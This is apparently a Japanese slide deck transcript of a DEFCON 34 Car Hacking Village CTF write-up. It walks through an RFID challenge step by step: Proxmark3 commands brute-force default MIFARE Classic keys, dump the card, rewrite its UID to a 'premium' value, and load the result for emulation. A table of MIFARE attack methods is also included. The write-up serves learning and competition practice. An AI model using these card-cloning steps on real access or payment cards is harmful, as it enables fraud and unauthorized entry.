Upgrade to Pro — share decks privately, control downloads, hide ads and more …

DEFCON_CHV_CTF_Write-up.pdf

Avatar for bata_24 bata_24
September 11, 2026

 DEFCON_CHV_CTF_Write-up.pdf

Avatar for bata_24

bata_24

September 11, 2026

More Decks by bata_24

Other Decks in Technology

Transcript

  1. 2

  2. 3

  3. 6

  4. テ ー テ ー テ ブ ブ ブ ブ ル

    ル ル ル 実機問 実機問 机 実機問 机 ー ー 机 テ 机 運 営 席 ブース テ テ ブ ブ ル ル 現地購入できるバッジの ファームウェアを攻略する問題 ー ブース 机 ー 運 営 席 ブース ブース ブース ブース ブース ブース ミニ車両にCANで 干渉する問題 ブース 机 バックヤード 机 机 机 机 テ テ ブ ブ ブ ブ ル ル ル ル 実機問 机 ー ブース テ ー ブース テ ー IVI?らしきデバイスに Wi-Fiで侵入する問題 ー ブース 運営席 会場全体図。撮影した写真と記憶から分かる範囲で書き起こした EVチャージャーを 攻略する問題 7
  5. 8

  6. ※今年は作問者に関する情報は得られず No. カテゴリ 問題名 概要・現地要素 1 Main Badge The Speakeasy

    Door 現地で購入できるバッジを攻略 2 Main Badge DTC Shuffle 3 Main Badge CAN Cshim 4 HYCu RFID Spoofing 5 HYCu UART Console - M1 6 HYCu UART Console - M2 7 HYCu CAN Injection - M1 8 HYCu PLC 9 MYCu CAN Injection - M2 10 MYCu MQTT Backend 11 MYCu OCPP Backend - M1 12 MYCu OCPP Backend - M2 13 Drivesec SOME Impersonation Protocol 14 Drivesec So Suspicious 15 Drivesec Hacking Through The Perimeter 16 Drivesec No Keyfob No Cry 17 Tiny Trek Do the Diag Dance - #1 18 Tiny Trek Ignore the Bus Behind the Curtain - #2 19 Tiny Trek All Your Trek Are Belong to Us - #3 現地に置いてあるミニEVチャージャーを攻略 現地に置いてあるIVI?らしきデバイスを攻略 現地においてあるミニ車両を攻略 9
  7. 開催年 イベント名称 出題数 備考 2026 DEFCON 34 19 問題数は増えたが、実質的なカテゴリ数は減った(1デバイスあたりの問題数が増えた)、AI利用時代到来 2025

    DEFCON 33 15 2025からは問題が公募となった。1問を解くために、複数ステージを解く必要がある問題が散見された 2024 DEFCON 32 15 2023 DEFCON 31 26 2022 DEFCON 30 49 2021 DEFCON 29 ? 2020 DEFCON 28 61 2019 DEFCON 27 176 2018 DEFCON 26 78 このあたりから問題数が減り、代わりに「作り込まれた問題」が増えた 「ググって答えるだけ」「コマンド叩いて答えるだけ」みたいな問題はほぼなくなった コロナによりオンライン開催と現地大会の2本立て。現地大会には不参加のため情報なし 10
  8. 2026 CHVメインバッジ 表側 2025 CHVメインバッジ 表側 2026 CHVメインバッジ 裏側 2025

    CHVメインバッジ 裏側 2024年はメインバッジ(サーキット部分)とスピードメータバッジ があった。組み合わせることで発動する問題が仕込まれていた 11
  9. 12

  10. 14

  11. 15

  12. 16

  13. 17

  14. セクタ ブロック番号 データ (16bytes) アクセス条件 0 0 0011223344556677 0011223344556677 100

    1 0011223344556677 0011223344556677 100 2 0011223344556677 0011223344556677 100 3 (Sector Trailor) a0a1a2a3a4a5 787788 c1 b0b1b2b3b4b5 KeyA AccessBits GPB ... 15 60 61 62 ブロック番号0〜2のデータへアクセスするには、そのセク タに設定されたKeyAまたはKeyBによる認証が必要 ※KeyA/KeyBはセクタごとに異なる値を設定可能 63 (Sector Trailor) KeyB KeyAとKeyBがある理由は、RWなどを分けて設定 できるようにするため。AccessBitsを解釈すると "100"が3つ出てくるのだが(ちょっと複雑なので式は 省略)、000~111まで意味が決まっており、100 は「KeyAで認証した場合は読取のみ、KeyBで認 証した場合は読書許可」の意味 18
  15. 攻撃手法 成立条件 概要 Default Key 攻撃 デフォルト鍵が使われている 鍵FFFF_FFFF_FFFFやA0A1_A2A3_A4A5などを総当り試行 Nested 攻撃

    少なくとも1セクタの鍵が既知 既知鍵で認証できるセクターに接続、そのセッション中に他セクターの認証を試行する ことで鍵を復元。非常に高速(数秒~数分) Hardnested攻撃 鍵がすべて未知。要通信ログ CRYPTO1の構造解析で鍵を復元。遅い(数分~)が確実 Replay / Clone 通信の記録と再送 鍵無しで同一操作を再現、またはカード複製 認証バイパス 特定ファームウェアのカード等で認証無効化 例:Chinese Magic Cardで全セクター書き換え 19
  16. ... [ Proxmark3 RFID instrument ] [ CLIENT ] client:

    RRG/Iceman/HEAD/v4.9237-2933-g58cbe9046 2021-03-04 02:29:04 compiled with GCC 7.5.0 OS:Linux ARCH:x86_64 [ PROXMARK3 ] firmware.................. PM3RDV4 external flash............ present smartcard reader.......... present FPC USART for BT add-on... absent [ ARM ] bootrom: RRG/Iceman/HEAD/v4.9237-2933-g58cbe9046 2021-03-04 02:29:43 os: RRG/Iceman/HEAD/v4.9237-2933-g58cbe9046 2021-03-04 02:30:21 compiled with GCC 6.3.1 20170620 [ FPGA ] LF image built for 2s30vq100 on 2020-07-08 at 23: 8: 7 HF image built for 2s30vq100 on 2020-07-08 at 23: 8:19 HF FeliCa image built for 2s30vq100 on 2020-07-08 at 23: 8:30 ファームウェアもクライアントも、 全然更新してない(かなり古い) ですが、安定して動きはします [ Hardware ] --= uC: AT91SAM7S512 Rev B --= Embedded Processor: ARM7TDMI --= Nonvolatile Program Memory Size: 512K bytes, Used: 311552 bytes (59%) Free: 212736 bytes (41%) --= Second Nonvolatile Program Memory Size: None --= Internal SRAM Size: 64K bytes --= Architecture Identifier: AT91SAM7Sxx Series --= Nonvolatile Program Memory Type: Embedded Flash Memory 20
  17. ... [=] Using UART port /dev/ttyACM0 [=] Communicating with PM3

    over USB-CDC [usb|script] pm3 --> hf 14a info [+] UID: 49 98 E8 1F [+] ATQA: 00 04 このカードのUID [+] SAK: 08 [2] [+] Possible types: [+] MIFARE Classic 1K [=] proprietary non iso14443-4 card found, RATS not supported [#] 1 static nonce 01200145 [+] Static nonce: yes 21
  18. ... [=] Using UART port /dev/ttyACM0 [=] Communicating with PM3

    over USB-CDC [usb|script] pm3 --> hf mf chk *1 ? [=] No key specified, trying default keys [ 0] ffffffffffff [ 1] 000000000000 [ 2] a0a1a2a3a4a5 [ 3] b0b1b2b3b4b5 [ 4] c0c1c2c3c4c5 [ 5] d0d1d2d3d4d5 [ 6] aabbccddeeff [ 7] 1a2b3c4d5e6f [ 8] 123456789abc [ 9] 010203040506 [10] 123456abcdef [11] abcdef123456 [12] 4d3a99c351dd [13] 1a982c7e459a [14] d3f7d3f7d3f7 [15] 714c5c886e97 [16] 587ee5f9350f [17] a0478cc39091 [18] 533cb6c723f6 [19] 8fd0a4f256e9 [20] 0000014b5c31 [21] b578f38a5c61 [22] 96a301bce267 よくある鍵でブルートフォース ................................ [=] time in checkkeys 2 seconds [=] testing to read key B... [+] found keys: [+] |-----|----------------|---|----------------|---| [+] | Sec | key A |res| key B |res| [+] |-----|----------------|---|----------------|---| [+] | 000 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 001 | a0a1a2a3a4a5 | 1 | ffffffffffff | 1 | [+] | 002 | a0a1a2a3a4a5 | 1 | ffffffffffff | 1 | [+] | 003 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 004 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 005 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 006 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 007 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 008 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 009 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 010 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 011 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 012 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 013 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 014 | ffffffffffff | 1 | ffffffffffff | 1 | [+] | 015 | ffffffffffff | 1 | ffffffffffff | 1 | [+] |-----|----------------|---|----------------|---| [+] ( 0:Failed / 1:Success) 全セクタの鍵解読に成功した。 セクタ1,2はa0a1... それ以外のセクタはffff... という鍵が使われている 22
  19. ... [=] Using UART port /dev/ttyACM0 [=] Communicating with PM3

    over USB-CDC [usb|script] pm3 --> hf mf dump [=] Using `hf-mf-4998E81F-key.bin` [=] Reading sector access bits... ................ [+] Finished reading sector access bits [=] Dumping all blocks from card... [+] successfully read block 0 of sector 0. [+] successfully read block 1 of sector 0. ... [+] successfully read block 3 of sector 15. [+] time: 7 seconds [+] Succeeded in dumping all blocks [+] saved 1024 bytes to binary file hf-mf-4998E81F-dump.bin [+] saved 64 blocks to text file hf-mf-4998E81F-dump.eml [+] saved to json file hf-mf-4998E81F-dump.json $ xxd hf-mf-4998E81F-dump.bin | head -12 00000000: 4998 e81f 2608 0400 6263 6465 6667 6869 00000010: 0000 0000 0000 0000 0000 0000 0000 0000 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 00000030: ffff ffff ffff ff07 8069 ffff ffff ffff 00000040: 4859 432d 4556 2061 6363 7420 6361 7264 00000050: 7469 6572 3d73 7461 6e64 6172 6420 2020 00000060: 6368 6720 6361 7020 3235 2070 6374 2020 00000070: a0a1 a2a3 a4a5 ff07 8069 ffff ffff ffff 00000080: 6e6f 7465 3a20 7072 656d 6975 6d20 6973 00000090: 2067 7261 6e74 6564 2074 6f20 6361 7264 000000a0: 2055 4944 2038 3720 3033 2037 4320 3235 000000b0: a0a1 a2a3 a4a5 ff07 8069 ffff ffff ffff I...&...bcdefghi ................ ................ .........i...... HYC-EV acct card tier=standard chg cap 25 pct .........i...... note: premium is granted to card UID 87 03 7C 25 .........i...... Premiumカードの ヒントが書いてある 23
  20. 0x26はBCC (Block Check Character)。 0x49 ^ 0x98 ^ 0xe8 ^

    0x1f $ xxd hf-mf-4998E81F-dump.bin | head -12 00000000: 4998 e81f 2608 0400 6263 6465 6667 6869 00000010: 0000 0000 0000 0000 0000 0000 0000 0000 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 00000030: ffff ffff ffff ff07 8069 ffff ffff ffff 00000040: 4859 432d 4556 2061 6363 7420 6361 7264 00000050: 7469 6572 3d73 7461 6e64 6172 6420 2020 00000060: 6368 6720 6361 7020 3235 2070 6374 2020 00000070: a0a1 a2a3 a4a5 ff07 8069 ffff ffff ffff 00000080: 6e6f 7465 3a20 7072 656d 6975 6d20 6973 00000090: 2067 7261 6e74 6564 2074 6f20 6361 7264 000000a0: 2055 4944 2038 3720 3033 2037 4320 3235 000000b0: a0a1 a2a3 a4a5 ff07 8069 ffff ffff ffff I...&...bcdefghi ................ ................ .........i...... HYC-EV acct card tier=standard chg cap 25 pct .........i...... note: premium is granted to card UID 87 03 7C 25 .........i...... 24
  21. $ xxd hf-mf-4998E81F-dump.bin | head -12 00000000: 8703 7c25 dd08

    0400 6263 6465 6667 6869 00000010: 0000 0000 0000 0000 0000 0000 0000 0000 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 00000030: ffff ffff ffff ff07 8069 ffff ffff ffff 00000040: 4859 432d 4556 2061 6363 7420 6361 7264 00000050: 7469 6572 3d73 7461 6e64 6172 6420 2020 00000060: 6368 6720 6361 7020 3235 2070 6374 2020 00000070: a0a1 a2a3 a4a5 ff07 8069 ffff ffff ffff 00000080: 6e6f 7465 3a20 7072 656d 6975 6d20 6973 00000090: 2067 7261 6e74 6564 2074 6f20 6361 7264 000000a0: 2055 4944 2038 3720 3033 2037 4320 3235 000000b0: a0a1 a2a3 a4a5 ff07 8069 ffff ffff ffff ..|%....bcdefghi ................ ................ .........i...... HYC-EV acct card tier=standard chg cap 25 pct .........i...... note: premium is granted to card UID 87 03 7C 25 .........i...... 25
  22. $ sed '1s/.*/87037C25DD0804006263646566676869/' hf-mf-4998E81F-dump.eml > hf-mf-87037C25-dump.eml $ diff -u hf-mf-4998E81F-dump.eml

    hf-mf-87037C25-dump.eml --- hf-mf-4998E81F-dump.eml +++ hf-mf-87037C25-dump.eml @@ -1 +1 @@ -4998E81F260804006263646566676869 +87037C25DD0804006263646566676869 26
  23. ... [=] Using UART port /dev/ttyACM0 [=] Communicating with PM3

    over USB-CDC [usb|script] pm3 --> hf mf eload hf-mf-87037C25-dump [+] loaded 1024 bytes from text file hf-mf-87037C25-dump.eml [=] Uploading to emulator memory ................................................................ [?] You are ready to simulate. See `hf mf sim h` [+] Done 27
  24. 28

  25. 29

  26. 30

  27. 31